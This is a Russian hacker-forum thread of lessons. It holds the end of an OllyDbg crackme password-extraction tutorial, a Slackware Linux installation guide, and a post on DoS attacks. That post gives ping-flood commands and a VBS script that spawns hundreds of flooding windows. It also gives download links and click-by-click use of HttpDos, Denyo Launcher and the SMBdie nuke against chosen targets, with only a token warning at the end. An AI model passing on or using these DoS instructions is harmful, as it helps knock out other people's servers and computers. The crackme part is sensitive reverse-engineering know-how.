Перед нами появится такое окно. Как видим в столбике справа представлены различные слова. Посмотрите повнимательней =). Что вы видите? Правильно, мы видим здесь корректный пасс. Он выделен на картинке. Но если же вы не заметили его, ничего страшного, со временем он будет сразу же бросаться вам в глаза. Чаще всего правильный пасс находится перед строкой примерно такого содержания: You entered the right password! Как видим этот пример тому подтверждение. Конечно в большинстве случаев таких строк тысячи и увидеть правильный пассворд в них просто не представляется возможным. Что ещё печальнее тут его может и не быть вообще, что чаще всего и бывает. Но все же забывать об этом методе поиска серийника не стоит. Сейчас мы рассмотрим второй способ нахождения серийного номера, который является гораздо более действенным.

1)&nbsp;     Кликнем 2 раза по надписи You entered the right password! Мы окажемся в окрестностях сравнения серийных номеров, я выделил этот участок:



2) Для сравнения двух переменных используется функция lstrcmpA, я советую вам запомнить её, так как применяется она довольно часто. Как видим здесь у нас сравнивается String2=Cannabis и String1 не равный пока ещё ничему, все это из-за того что мы не ввели Password. Но давайте это исправим: перехватим момент когда программа начинает обращаться к этой функции. Выделяем первую строку функции istrcmpA (040123E) и нажимаем F2, таким образом, устанавливаем точку останова. Теперь нажимаем F9, тем самым запускаем программу. Вводим первое что пришло в голову и нажимаем Check.


В этот момент срабатывает точка останова, и мы оказываемся здесь:



3) Знакомое место, неправда ли =)? Теперь мы видим, что String1=mypss (ну или что вы там ввели).  На строке 0401248 вызывается сама процедура сравнения(но мы не будем в неё углубляться) и так как string1 не равен string2, то попадем на окошко с нехорошей фразой: Maybe, you should try again, it is so easy!!! Но нам-то это уже не важно, так как мы знаем правильный пасс. Поэтому закрываем Олю, открываем крэкмис и вводим cannabis. И в ответ получаем заветное:



P.S. Это был вводный урок. По сути этим уроком я хотел вас только заинтересовать. В последующих уроках мы будем рассматривать более сложные степени защиты и тренироваться на различных крэкмисах. А до этого советую вам почитать об Оле и посмотреть основный команды асма. Удачи!
Post #: 9
RE: Уроки группы 9009 - 2009-08-22 23:10:38.780000   
daniel_1024

Сообщений: 294
Оценки: 0
Присоединился: 2009-07-14 14:37:28.690000
Компьютерный терроризм. Часть 1. Dos - атаки.
В этом уроке речь пойдет о Dos - атаках. Об их классификации по типу совершения, как их осуществлять и как от них защититься. Для того, чтобы вы слегка понимали, о чем сейчас пойдет речь, желательно подучить основы TCP/IP протокола.
Начнем с теории - Dos (Denial of Service) переводится как "отказ об обслуживании". Суть этой атаки в том, чтобы вызвать на атакуемом компьютере сбой в работе, например, "синий экран", зависание, слёт подключения к интернету. Dos - атака совершается с одного компьютера, это её важное отличие от DDos. Способов DoS’а существует много: засорение Интернет канала, посылка неправильных пакетов, посылка огромного числа пакетов т.д. Рассмотрим самые простые типы dos-атак, их очень много (порядка 20), типы их классификации также различны. Я остановлю ваше внимание на самых распространённых:


1.&nbsp; ICMP flood
Это тип сетевой атаки, при которой компьютер-жертва получает особым образом подделанный эхо-запрос (ping), после которого он перестает отвечать на запросы вообще . Попросту говоря, на атакуемую машину шлётся так много пакетов, что атакуемая машина не успевает их обработать.

Начнем с самого незамысловатого способа совершения ICMP flood-атаки - командной строки. Наверняка, вы знаете, что такое коммандная строка, и что там есть одна замечательная команда "ping". Изначально, эта команда несла в себе только хорошее - она посылала заданному веб-узлу пакеты, проверяя, "жив ли" он. Но умные люди приспособили эту команду под другое (хакеры чем угодно воевать могут) - при определенных параметрах (о них чуть позже) она может до беспрерывно посылать  узлу пакеты огромного размера, который будет не в силах их обработать.
Итак, заходим Пуск -> Выполнить -> cmd -> вводим ping /?
Таким вот образом мы узнаем всё об аргументах команды. Вот что мы видим:

Использование: ping [-t] [-a] [-n число] [-l размер] [-f] [-i TTL] [-v TOS]
          [-r число] [-s число] [[-j списокУзлов] | [-k списокУзлов]]
          [-w таймаут] конечноеИмя

Параметры:
-t               Отправка пакетов на указанный узел до команды прерывания.
                Для вывода статистики и продолжения нажмите
                <Ctrl>+<Break>, для прекращения - <Ctrl>+<C>.
     //т.е. до бесконечности :)
-a               Определение адресов по именам узлов.
-n число         Число отправляемых запросов.
     //если мы хотим кого-то заддосить, не советую использовать это ключ
-l размер        Размер буфера отправки.
     //размер пакета для отправки. По умолчанию 32 байта. Чем больше будет эта цифра, тем лучше.             Максимум - 65500 байт.
-f               Установка флага, запрещающего фрагментацию пакета.
     //этот параметр лучше не трогать т.к. большие пакеты требуют фрагментации
-i TTL           Задание срока жизни пакета (поле "Time To Live").
-v TOS           Задание типа службы (поле "Type Of Service").    //"тип обслуживания"
     //здесь возможно 4 значения:
     //2 - минимальные издержки на пересылку
     //4 - максимальная надежность доставки
     //8 - максимальная пропускная способность
     //16 - минимальная задержка
-r число         Запись маршрута для указанного числа переходов.
-s число         Штамп времени для указанного числа переходов.
-j списокУзлов   Свободный выбор маршрута по списку узлов.
-k списокУзлов   Жесткий выбор маршрута по списку узлов.
-w таймаут       Таймаут каждого ответа в миллисекундах.
     //время, в течении котрого будет ожидаться ответ от веб-узла до появления сообщения о превышении интервала ожидания
          //конечноеИмя - адрес сайта (без http://) или напрямую ip - адрес жертвы для атаки

Приведу пример:
ping mysite.com -l 65500 -t - здесь на узел будут посылаться пакеты размером 65500 байт
ping testsite.su -n 10 -w 2000 - в этом случае будет послано 10 пакетов на сайт testsite.su, при этом ожидание ответа от веб-узла будет 2 секунды (2000 миллисекунд).

С этим мы разобрались. То, что мы сейчас проделали сможет вывести из строя максимум комп друга, про серверы я уже не говорю. Надо как - то ускорить процесс атаки. Я решил написать простенькую программу, которая бы открывала 100 окон коммандной строки с процессом пропинговывания атакуемого нами узла. Это ускорит процесс в десятки раз. Для этого я решил выбрать vbs - скрипты (bat - язык я вообще не знаю).
1. Итак, создаем файл, который будет открываться много раз. Назовём его test.bat. В нём прописываем команду ping с параметрами:
ping yousite.com -t -l 2048&nbsp;&nbsp; &nbsp;//пример :) 2. Теперь создаем vbs - скрипт, который будет открывать наш файл test.bat заданное количество раз.
Set wshl=CreateObject("WScript.Shell")&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;//создаем новый системный объект for i=0 to 200&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;//это цикл, здесь i - счетчик цикла wshl.run "test.bat"&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp; next //200 - это сколько будет открываться на файл. Много не советую, не больше 100. Всё зависит от вашей оперативки. Знайте, что на один открытый файл уходит 1,7 Мб. Считайте сами…
3. Сохраняем, кладем 2 файлика в одну и ту же директорию, запускаем.
Если в процессе атаки у вас в окне коммандной строки появится надпись
"Превышен интервал ожидания для запроса" - в большинстве случаев это значит, что вы добились своей цели…веб-узел перегружен…Чем больше будет процент потеряных пакетов, тем лучше :)
Надо сказать, что большинство узлов ставят ограничение по размеру отправляемых им пакетов. К примеру, на сайт 1gb.ru нельзя отправить пакет в 65000 байт. Выдается ошибка.


2.Ping of Death
Этот вид атаки очень похож на ICMP flood, но он немного усовершенстован. В атаке типа Ping of Death на атакуемый компьютер с помощью специальных программ посылаются пакеты огромного размера, больше чем 65 535 байт (это 2^16-1 байт) байт. В результате этого вызывается переполнение сетового стека компьютера и отказ от обслуживания.
Эта уязвимость действовала на старые версии Windows, теперь завалить кого-либо довольно проблемно, так как для уязвимых операционных систем выпущены соответствующие заплатки.


3. SMURF - атака
Для осуществления SMURF - атаки необходимы три участника: жертва, атакующий и усиливающая сеть (n компьютеров, объединенных в сеть). Принцип действия таков: атакующий посылает всем компьютерам усиливающей сети пакет от имени жертвы, и вся усиливающая сеть начинает отвечать жертве. Пример: если атакующий послал в усиливающую сеть, в которой 500 компьютеров от имени жертвы 200 Кбит, то жертва получит разом 40 Мбит в ответ. В этом случае у жертвы к тому же будет целиком забит интернет - канал, и работа в Сети будет невозможна.

Есть еще менее применяемые типы атак:

4. Out Of Band (OOB) - атака
Она основана на том, что в операционных системах Win95 и NT порт 139 не закрыт от внешнего доступа, и если послать на него специально сформированный пакет, то в системе атакуемого компьютера произойдет сбой, и всё кончится "синим экраном"

5. CPU Hog
Эта атака очень простая - хакер пишет программу, которая "тянет" все системные ресурсы системы на себя, тем самым "заглушая" остальные программы. Дальше хакер дает эту программу жертве - и всё, её компьютер зависает. Просто, не правда ли ?

Теперь перейдем к софту для осуществления dos-атак. Вообще в большинстве случаев можно обойтись и одним ping`ом, программы имеют вспомогательное значение. Здесь у нас довольно большой выбор, программ для этих целей сейчас довольно много, но я вас познакомлю с наиболее популярными и простыми в использовании. Итак, начнем:

1. HttpDos 2.0.
Название говорит само за себя - эта программа для совершения dos - атак на сервер. Скачиваем с http://letitbit.net/download/3824.303bfbef0c7d75a852aa6b597/httpdos_2.0.rar.html и устанавливаем. Включаем программу, вводим серийный номер (он в текстовике в архиве). Мы видим следующее окно:

Target Url - адрес сайта для атаки.
User Agent - тип браузера для атаки
Sockets - количество потоков, зависит от скорости интернета.
Все предельно просто….заполняем поля и нажимаем на кнопку "Flood". Процесс пошел, сайт закидывается запросами.
Снизу есть две надписи: Requsts - это количество отправленных пакетов; Responses - это количество пакетов, на которые сервер ответил. Чем меньше это число - тем лучше.  Эта программа самая действенная, я пользуюсь её.
Перейдем к следующей софтине.

2. Denyo Laucher 4.0
Эта программа обладает очень обширным функционалом, и наверно, единственная в своем роде. Она совмещает в себе и ddos`ер и флудер. Софтина содержит в себе MAIL сервер, благодаря чему может автоматически подтверждать регистрацию нового юзера на форуме, присланную на мыло. Дает возможность сделать traceroute, и много другое. Скачиваем с  http://letitbit.net/download/6767.6ec4165050865659720921ef5/Denyo_Launch_IV.rar.html и распаковываем, запускаем.
И вот что мы видим:

Здесь очень много вкладок. Рассмотрим самую важную - Attack.
Первое поле - сюда можно просто вписать ветку форума сайта для атаки
Второе поле - сюда вписывается ip или адрес сайта для атаки.
Теперь заполняем поля таблицы ниже. Нажимаем "New Key", потом выбираем значение ключа из выпадающего списка.
После того, как мы всё сделали, нажимаем заветную кнопку "Launch" Всё, атака пошла. Сервер ddos`ится.
Посмотрите на другие вкладки программы, поизучайте её функционал. В умелых руках она может быть очень опасна.

3. SMBdie
Как понятно из названия, программа действует по типу SMB - атаки. А именно, программа посылает специально сформированный запрос в  SMB - порт (этот порт является служебным в Windows), система не может обработать его, и зависает.  Для действия программы необходимо, чтобы на компьютере жертвы был включен NetBios. Программа нюкает Windows NT/2000/XP.
Скачиваем программу с http://letitbit.net/download/f15a40249501/smbdie-nuke-dlya-winnt-2k-xp.zip.html и открываем. Вот что мы видим:

Здесь всё предельно просто.
Computer (IP adress) - это ip атакуемого компьютера
NETBIOS name - его NETBIOS имя. Его можно узнать через программы - сканеры портов.
Вводим данные и нажимаем Nuke. Всё, комп врага в ауте !


Вот вообщем и всё, что я хотел рассказать вам про dos - атаки. Мною были описаны самые простые программы для совершения атак. Если вы умеете кодить - загляните на http://www.packetstormsecurity.nl Это великолепный сайт, посвященный dos/ddos атакам (все программы скачены оттуда). На этом сайте вы найдете огромное количество скриптов на Perl и С для разных видов dos - атак: SMURF, OOB, UDP и многих других, о которых в этой статье я не рассказал.
Я не случайно назвал усою статью "компьютерный терроризм", так как выводить из строя чужые компьютеры - не хорошо. Несколько раз подумайте, прежде чем валить чей-то сервак.

Post #: 10
RE: Уроки группы 9009 - 2009-08-23 13:20:01.596666   
farex

Сообщений: 261
Оценки: 0
Присоединился: 2009-02-15 20:48:17.506666
Урок №1: Slackware Linux (Установка)

Продолжу серию статей по Linux которую начал до меня 9009.
Первое с чего надо начать это что такое Linux и для чего он мне нужен?
quote:


Xakep9009
Linux - http://ru.wikipedia.org/wiki/Linux
А нужен Linux для нескольких важных целей….
1)Изучение структуры и работы Linux
2)Если вы будете ездить в европу с вашим ноутбуком там где установлена пиратская винда с вас могут взять огромный штраф и вплоть до срока
(С моего друга в Америке взяли штраф 400$ за то что его поймали в супермарките! с пиратской виндой)
3)Перед вами сразу откроется огромный прастор в плане хакерского ПО.
4)Большая часть сис админов уже сидит под такими видами ОС как Rad Hat, Mandriva , Ubuntu Server итд… так что игнорировать Linux мы больше не в состоянии….

Почему я выбрал Slackware а не Ubunta в качестве дистрибутива для изучения.
Немного вики:
Slackware Linux — один из старейших дистрибутивов Linux. Его иногда называют «самым UNIX’овым». Поклонникам этого дистрибутива приписывают такое высказывание: «Если вы знаете Slackware — вы знаете GNU/Linux. Если вы знаете Red Hat, то всё, что вы знаете, — это Red Hat»..Первая версия этого дистрибутива была выпущена Патриком Фолькердингом .
Полную статью смотрите здесь http://ru.wikipedia.org/wiki/Slackware

——
Этот урок можно было сделать очень кратким:
Цитата одного линуксофага., благодаря которому я и стал юзать Slackware.
quote:

да че там устанавливать man fdisk man lilo и setup

——
И так начнем.
Скачиваем дистрибутив Slackware 12.2:
&gt;&gt;Cкачать DVD&lt;&lt;
Я бы посоветовал именно DVD, но выбор за вами, если вам нужны CD тогда возьмите их от сюдого:
&gt;&gt;Скачать CD&lt;&lt;
Для того что бы нас не чего не застало в расплох, идем на оф сайт вашего производителя видео карты и скачиваем соответствующий драйвер.
Для NVIDIA:
&gt;&gt;Скачать драйвер&lt;&lt;
Для ATI:
&gt;&gt;Скачать драйвер&lt;&lt;
NOTE: В данном уроке я буду рассматривать только установку драйвера NVIDIA, если у вас ATI итп то на оф сайте есть инструкции по установке, там нет не чего сложного.
Далее скидываем драйвер на флеш карту (в корень), либо записываем на диск.
Вы наверняка захотите установить Linux в качестве второй OS, что бы избежать неприятных моментов с потерей разделов NTFS
скачиваем инструмент и в добавок LiveCD c Linux для работы с разделами:
&gt;&gt;Скачать LiveCD GParted&lt;&lt;
Вы также можете использовать любой LivCD с установленным GParted
NOTE: Если вы будете устанавливать Linux на "читый" винчестер, тогда вам следует пропустить этот шаг.
Записываем Slackware 12.2 и GParted на диск.
Выставляем в BIOS соответствующий порядок загрузки(первый должен быть CD-ROM)
Как вы уже наверное дагодались, сейчас мы будем подготавливать разделы для нашего будущего Linux.
Вставляем в дисковод диск с GParted.

В появившемся окне нам предлагают несколько вариантов загрузки
NOTE:Целью данного урока не входит изучения приемов работы с этим дистрибутивом, я рассмотрю лишь некоторые из них
Если вас заинтересовал данный дистрибутив то документацию по нему вы можете найти на оф сайте:
http://gparted.sourceforge.net/documentation.php

Выбираем первый вариант предлагаемый с настройками по умолчанию.




Выбираем стандартную раскладку клавиатуры выбрав пункт:
Don't touch keymap




Выбираем:
24




Нажимаем:
Enter




Перед нами появляется интерфейс GParted для работы с разделами с дисковым пространством,
Нажимаем на раздел с NTFS, (это там где /dev/hda )
И выбираем:
Изменить размер или переместить
NOTE: Не пугайтесь если у вас будет /dev/sda.
/dev/hda –&gt; Если у вас IDE винчестер –&gt; (Так же может быть sdb)
/dev/sda –&gt; Если у вас SATA винчестер





Здесь передвигаем ползунок и изменяем размер на разделе с NTFS.
После чего жмем на:
Изменить раздел или переместить. (в правом нижнем углу)
На скриншоте видно что я уменьшил раздел с NTFS до 10.236mb




Выбираем вкладку:
Правка–&gt;Применить все операции



И так, теперь нам нужно создать разделы для Linux.
Я предпологаю что для большенства начинающих предлагаемая мной схема разбивки диска будет оптимальна.
/ –> Корневой раздел –> 10 gb
swap –> Раздел подкачки –> 500mb, вообще полагается swap раздел создавать в двое больше оперативной памяти, ну думаю что сейчас это уже не актуально.
/home –> Домашний раздел –> Все оставшееся пространство диска.




Выбираем не размеченную облась на диске.
Нажимаем на значок NEW
Передвигаем ползунок пока новый раздел не станет 10.024mb
Пишим метку: / –> что означает, что это корневой раздел.
Выбираем файловую систему ext3.
NOTE: Я тут предлагаю ext3, хотя reserfs было бы правельнее, так как она лучше работает с мелки файлами,
но пока что вы только знакомитесь с миром *UNIX лучше выбрать ext3 так как она стабильнее.

Нажимаем на кнопку Add



Аналогично проделываем эти операции с остальными разделами.(Смотрите скриншоты.)
Добавляем раздел подкачки.




Добавляем домашний раздел




После чего нажимаем:
Правка–&gt;Применить все операции




В результате получаем вот такое




Нажимаем 2 раза на иконку терминала
И пишим в открывшимся окне:
shutdown -r now
При вводе этой команды "shutdown" происходит выключения, или перезагрузка компьютера, в данном случае поставлен флаг -r
что означает перезагрузку.
И клацаем по кнопке:
Enter




Вытаскиваем из дисковода диск и загружаемся в Windows.

Как мы видим наш Windows не пострадал.
А раздел NTFS лишь стал меньше.
NOTE: Вы наверняка заметили что, не видите созданные вами разделы.
Это совершено нормально., о том как увидеть linux разделы в Windows мы рассмотрим в следующий раз.




Теперь вновь перезагружаем компьютор и вставляем диск Slackware 12.2

И так, началась установка.


На этом этапе у вас спрашивают, не хотите ли вы выбрать дополнительные параметры ядра.
Нажимаем Enter (Нет не хотим)




Здесь нам предлагают выбрать раскладку клавиатуры.
Нажимаем Enter. (Оставим раскладку по умолчанию)




Тперь нам нужно залогится.
Вводим:
root и нажимаем Enter



NOTE: Если вы делили диск посредством GParted
То вам следует пропустить данный шаг.


Для разметки дисков в Slackware имеются две программы
1)fdisc
2)cfdisk
Мы воспользуемся программой fdisk.
Хотя я не к чему не принуждаю, если вам охто использовать програму cfdisk то используйте её, документацию вы сможете найти в:
man cfdisk
И так нам нужно узнать как же опредилился нашь жесткий диск.
Набираем:
[ul]
root@slackware:/#fdisk -l
[/ul]
Теперь выполним команду fdisk и укажем на нашь жосткий диск.
[ul]
root@slackware:/#fdisk /dev/hda
[/ul]
Появляется меню приглашения:
[ul]
Command (m for help):
[/ul]
Нам нужно проверить есть ли уже существующие разделы, вводим:
[ul]
Command (m for help):p
[/ul]


И так, если мы дошли до этого шага, то значит мы твердо решили удалить раздел с Windows )
Так удалим же его ключем: d
[ul]
Command (m for help):d
Partition number (1-4): 1
[/ul]
Если у вас более одного раздела, то процесс нужно повторить для каждого из них.
Теперь необходимо создать разделы для Linux.
Вводим n
[ul]
Command (m for help): n
Command action
e extended
p primary partition (1-4)

[/ul]
Делаем первый раздел основным выбрав p primary partition
[ul]
p
Partition number (1-4):1
[/ul]
Номер раздела выбираем первый.
[ul]
First cylinder (0-1060, default 0):
Last cylinder or +size or +sizeM or +sizeK (0-1060, default 1060):+500M

[/ul]
Теперь необходимо назначить тип файловой системы swap
[ul]
Command (m for help): t
Hex code (type L to list codes): 82

[/ul]
Таким образом мы создали раздел для swap, размерам 500m
Таким образом создаем еще 2 раздела для / и /home

Создаем раздел для /
[ul]
Command (m for help):n
Command action
e extended
p primary partition (1-4)
p
Partition number (1-4):2
First cylinder (124-1060, default 124):
Last cylinder or +size or +sizeM or +sizeK (124-1060, default 1060):10000
Command (m for help): t
Partition number (1-4):2
Hex code (type L to list codes):83

[/ul]

Для /home
[ul]
Command (m for help):n
Command action
e extended
p primary partition (1-4)
p
Partition number (1-4):3
First cylinder (124-1060, default 124):
Last cylinder or +size or +sizeM or +sizeK (124-1060, default 1060):10000
Command (m for help): t
Partition number (1-4):3
Hex code (type L to list codes):83

[/ul]

Теперь нужно сделать корневой раздел / загрузочным
[ul]
Command (m for help): a
Partition number (1-4): 2
[/ul]
Теперь необходимо записать новую таблицу разделов
[ul]
Command (m for help): w
[/ul]
Что бы посмотреть что у нас получилось, нужно опять ввести fdisk и выбрать опцию p
[ul]
root@slackware:/#fdisk /dev/hda
Command (m for help): p
[/ul]
Вот что у нас должно получтся в итоге.


Не пугайтесь этой программы, на самом деле она очень удобная и простая., как и сам Slackware.


Теперь настало время к выбору компонентов для установки.
Вводим: setup
[ul]
root@slackware:/#setup
[/ul]
И появляется псевдографическая оболочка программы setup

Программа setup представляет собой систему с меню, которая по сути устанавливает пакеты Slackware и настраивает вашу систему. (опр из Слакбук.)
Если вам что то станет не понятно то вы всегда можете выбрать пункт HELP и воспользоваться подсказкой.
Выбираем:
ADDSWAP –Выбор swap разделов

Как видите определился один раздел swap
Нажимаем:
Ok


В этом окне нам предлагаю проверить раздел swap на сбойные сектора диска.
Нажимаем:
Ok
Для этого может понадобится некоторое время, быть может вам покажется что ваш компьютор завис.
Следующее окно известит вас об удачной (надеюсь) операции. )
Нажимае:
Ok


Теперь нам предлагают выбрать корневой раздел в котором по умолчанию находится пользователь root
NOTE:Пользователь root это суперпользователь компьютора, которому разрешено все (это без преувелечеий))
и его домашний каталог находится в корневом раздели.

Выбираем /dev/hda2
И нажимаем SELECT


Теперь нам предлагают отформатировать раздел /dev/hda2
Выбираем Chekc для того, что бы еще и проверить его на сбойные сектора.


Выбираем тип файловой системы ext3
Нажимаем:
Ok


Выбираем /dev/hda4
Нажимаем:
select

В следующим окне форматируем раздел
Выбираем Check
Нажимаем:
Ok

Выбираем тип файловой системы ext3
Нажимаем:
Ok


Нам прдлагают выбрать как будет монтироваться /dev/hda4 (По умолчанию /usr/local)
Пишим /home –> так как мы хотим, что бы /dev/hda4 стал нашим домашним разделом
Нажимаем:
Ok


Тут нам сообщают, что обнаружины NTFS разделы, и спрашивают добавить ли их в /etc/fstab?
NOTE:Файл /etc/fstab отвечает за автоматическое монтирования.
Сейчас это вам не о чем не говорит., но в дальнейшим все станет ястно.

Нажимаем:
Yes


Тут нам предлагают какой уровень доступа будет к разделам с NTFS
Выбираем последний вариант
All user can read/write to file (ntfs-3g) –> Тоесть все пользоватили имеют права на чтения и запись на этот раздел. (rw(в дальнейшем вы сможете поменять прова на доступ к этому разделу))

В последующем окне
Нажимаем:
Yes

В следующем
Нажимаем:
Continue

В следующем окне нас спрашивают с чего будет производится установка Slackware Linux
Выбираем:
Install from a Slackware CD or DVD

В следующем окне выбираем auto
Нажимаем:
Yes


Теперь мы можем выбрать вариант установки.
Раздел | Содержание
A - -> Основная система. Содержит необходимый минимум системных программ, текстовый редактор
и основные коммуникационные программы.
AP - -> Различные приложения, которые работают без X Window системы.
D - -> Инструменты для разработки программ. Компиляторы, дэбаггеры,
интерпретаторы и man странички для них.
E –> GNU emacs.
F –> FAQи, HOWTO, и другая дополнительная документация.
GNOME Рабочая среда GNOME , GTK widget библиотека, и GIMP.
K –> Исходный код ядра Linux.
KDE –> Рабочая среда KDE. Qt библиотека, необходимая для KDE, так же находится здесь.
KDEI –> Файлы локализации среды KDE.
L –>Системные библиотеки, необходимые для работы KDE, GNOME, системы X Window и других.
N –> Сетевые программы. Демоны, почтовые программы, telnet, программы чтения новостей,
и так далее.
T –> Система форматирования документов teTeX.
TCL –> ool Command Language. Tk, TclX, и TkDesk.
X –> Основа X Window Системы.
XAP –> Приложения X которые не являются частью основной окружающей среды рабочего стола.
(Например, Ghostsсriрt и Netscape).
Y –> Игры

Так как это руководство для начинающих то мы выберем первый вариант
Base Linux system

В следующем окне выбираем
fuul
full install everything (4.8 +GB) –> Это как вы уже догадались означает полную установку.

Началась установка
==========> ==========> ==========>

Выбераем
Skip making a USB boot stick

Выбираем автоматическую установку загрузчика…
Выбираем
Symple try to install Lilo automatically

Далее следует настройка видеорежима; если вы уверенны, что ваша видюха и монитор вытянут Фреймбуфер и вы хотите видеть при загрузке Тукса ) – выбирайте соответствующий режим, но я не советую, т.к. он притормаживает систему, и, соответственно увеличивается время загрузки.
По умалчанию 1024x768
Нажимаем:
Ok

В следующем окне оставляем все как есть.
Нажимаем:
Yes


В следующем окне у нас спрашиваю куда установить загрузчик.
Выбираем:
MBR install to Master boot record
Это означает что Lilo установится в MBR
Не переживайте за вашь Windows, Lilo его найдет и добавит в свой конфигурационный файл.

В следующем окне вас просят указать тип мыши, для конфигурационного файла.
Тут выбираем у кого какая.
Если стандартая psp2(Не USB) оставляем все по умолчанию и нажимаем Ok
Если USB то выбираем соответствующий пункт и нажимаем Ok

В следующем окне нас спрашивают нужна ли мышь в консоле.
Нажимаем:
Yes


Далее нам предлагают настроить интернет соединения.
Мы как настаящие трудолинуксоиды отказываемся, будем править руками.. (:
Нажимаем:
No
Но опять же я вас не к чему не принуждаю вы можете настроить его и сейчас.

В двух последующех окнах
Нажимаем:
No

В следующем окне у нас спрашивают нашь временной пояс.
Выбираете сами.


Здесь у нас спрашивают какой оконный менеджер (Window manager or WM) выбрать..
Тут как говарится выбор за вами:
KDE –> http://ru.wikipedia.org/wiki/Kde
XFCE –>http://ru.wikipedia.org/wiki/xfce
Fluxbox –>http://ru.wikipedia.org/wiki/Fluxbox
Я бы посоветовал XFCE, но выбор как всегда за вами., в линуксе главное это !СВОБОДА ВЫБОРА!
XFCE это нечто среднее между KDE и GNOME как часто говарят "Золотая середина"
Выбираем понравившийся WM
Нажимаем:
Ok


Здесь нас предупреждают, что у суперпользователя root не установлен пароль (что крайне не желательно)
Нажимаем:
Yes
[ul]
New password:
Re-enter new passwod:
[/ul]
И нажимаете Enter

Далее нам сообщают что установка закончена нажмите Ok для выхода.
Нажимаем:
Ok


Мы опять видим окно установщика, выбираем пункт EXIT
Нажимаем:
Ok

Далее достаем установочный диск и перезагружаем по средством:
ctrl+alt+del




После перезагрузки мы видим что загручик нам предлагает два варианта загрузки.
Выбираем Linux

Далее вы видете как по экрану начнут пробегать строчьки с пока, что не понятным вам содержанием., это совершенно нормально
это лог загрузки OS.

Далее нас приветствует командный процессор:

[ul]
Welcome to Linux 2.6.27
darkstar login:

[/ul]
Вводим:
[ul]

darkstar login:root
Password:!Вводим пароль который мы создали в процессе установки!.
root@darkstar:~#_

[/ul]
Теперь нам необходимо выполнить настройку X Window System
NOTE:X Window System — оконная система, обеспечивающая стандартные инструменты и протоколы для построения графического интерфейса пользователя.
Используется в UNIX-подобных ОС.
На Linux жаргонном его называют"Иксы"
[/ul]
Для этих целей есть программа которая называется xorgconfig
И опять же у нас есть выбор, мы можем настроить конфинурационный "файл руками" отредактировав непосредственно /etc/X11/xorg.conf
[ul]
Вооводим:
root@darkstar:~#xorgconfig
[/ul]
Здесь открывается окно с информацией об xorgconfig
Для продолжения нажимаем Enter
NOTE Далее настройка xorgconfig взята с сайтя
http://jack.kiev.ua/docs/slackbook/x-window-system.html
который в свою очередь взял информацию со слакбука.

Настройка мыши


Выберите в представленном меню свою мышь.
Если ваша последовательная мышь в нём отсутствует, выберите протокол Microsoft protocol - он самый распространённый и наверняка будет работать. Затем xorgconfig спросит у вас,
будете ли вы использовать ChordMiddle и Emulate3Buttons. Вы увидите подробное описание этих параметров на экране.
Используйте их в том случае, если в X не работает средняя кнопка мыши, или если у вашей мыши только две кнопки
(Emulate3Buttons позволяет вам путём одновременного нажатия двух кнопок эмулировать третью кнопку мыши).
Затем введите название устройства своей мыши.
Вариант по умолчанию (/dev/mouse) должен подойти, поскольку во время настройки Slackware для него была создана ссылка.
Если у вас запущен GPM (сервер Linux для мыши) в режиме повторителя, вы можете указать тип мыши как /dev/gpmdata, чтобы X получал информацию о мыши через gpm.
В некоторых случаях (особенно в случае с bus-мышами) это может работать лучше, однако большинству пользователей этого делать не следует.
xorgconfig спросит вас о включении привязок для специальных клавиш. Если вам это нужно, скажите “y”.
Большинство пользователей могут ответить “n” - выберите этот вариант, если вы не уверены.
Горизонтальная синхронизация


В следующем разделе введите диапазон частот своего монитора.
Чтобы запустить его настройку, нажмите ENTER. Вы увидите список с типами мониторов - выберите один из них.
Будьте осторожны с тем, чтобы не превысить возможности своего монитора. Это может повредить ваше оборудование.

Вертикальная синхронизаци


Видеокарта


Теперь у вас есть возможность взглянуть на базу данных моделей видеокарт.
Вам понадобится сделать это, поэтому скажите “y” и выберите свою карту из показанного списка.
Если вы не наблюдаете именно свою модель карты, попробуйте выбрать ту, в которой используется такой же набор микросхем, и скорее всего одна будет нормально работать.
Далее сообщите xorgconfig'у, какой объём памяти установлен на вашей видеокарте. xorgconfig'у потребуется, чтобы вы ввели какое-нибудь описание для своей карты.
Если хотите, вы можете ввести описание в этих трёх строках.
Затем вам будет предложено выбрать используемое разрешение экрана.
И опять же использование предложенных по умолчанию значений должно для начала устроить вас.
Позже вы можете отредактировать /etc/X11/xorg.conf и переопределить режимы, чтобы умолчанию использовалось разрешение 1024x768 (или любое другое, которое вам понравится).
На данном этапе программа xorgconfig спросит вас, хотите ли вы сохранить текущую конфигурацию в файл. Ответьте “yes” и конфигурационный файл для X будет сохранён, завершая таким образом процесс настройки.
Теперь вы можете запустить X с помощью команды startx.



Если "иксы" не запустились, тоесть произошла какая либо ошибка после команды startx:
На этот случай мы и скачали драйвер для своей видеокарты.
Вставляем в разъем USB флешку с драйвером.
И вводим команду
lsusb
В которой мы можем увидить свою флеш карту.
Далее нам необходимо узнать как она опредилилась в системе
Вводим:
dmesg | tail

Смотрим на строку такого вида:
sda: sda1
Как вы видете в моем случае флеш карта определилась как :
sda1
Теперь нам необходимо монтировать флеш карту,.
Выполним команду:
[ul]
root@darksrar:~#mount /dev/sda1 /mnt/memory
[/ul]
Потом следует перейти в дирректорию /mnt/memory, ведь именно туда мы только что смонтировали нашу флеш карту
Выполним команду для перехода:
[ul]
root@darksrar:~#cd /mnt/memory
[/ul]
Далее просмотрим содержимое нашей флешки программой ls
[ul]
root@darksrar:~#ls -a
[/ul]
. .. NVIDIA-Linux-x86-x.x-xxxx.run
Вы должны увидеть скаченный вами драйвер. Которы мы специально копировали именно в корень.
Нам необходимо сделать файл исполняемым.
Выполним это с помощью программы chmod
[ul]
root@darksrar:~#chmod +x NVIDIA-Linux-x86-x.x-xxxx.run
[/ul]
Далее запускаем исполняемый файл следующим образом.
[ul]
root@darksrar:~#./NVIDIA-Linux-x86-x.x-xxxx.run
NOTE: Вместо NVIDIA-Linux-XXX-X.X-XXX-pkg1.run (XXX-X.X-XXX(вы указываете точное имя пакета с драйверами))
[/ul]
Далее начинается установка драйвера, с псевдографической оболочкой.

Инсталятор ругнётся на отсутствие precompiled headers для вашего ядра и предложит скачать их с сервера nvidia.
Откажитесь.
Он предложит скомпилировать их сам
